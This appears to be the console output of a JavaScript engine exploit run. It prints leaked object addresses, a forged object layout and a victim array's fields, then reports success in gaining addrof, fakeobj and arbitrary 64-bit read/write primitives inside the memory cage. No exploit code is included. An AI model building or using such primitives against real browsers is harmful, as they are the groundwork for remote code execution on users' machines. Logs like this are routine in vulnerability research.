addrof(carrier) = 0x01053e45
addrof(victim)  = 0x01053e6d
fakeobj length  = 32
carrier +0x00  = 0x0101510d 0x000007e5
carrier +0x08  = 0x01053dfd 0x00000010
victim.elements = 0x01053e55, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
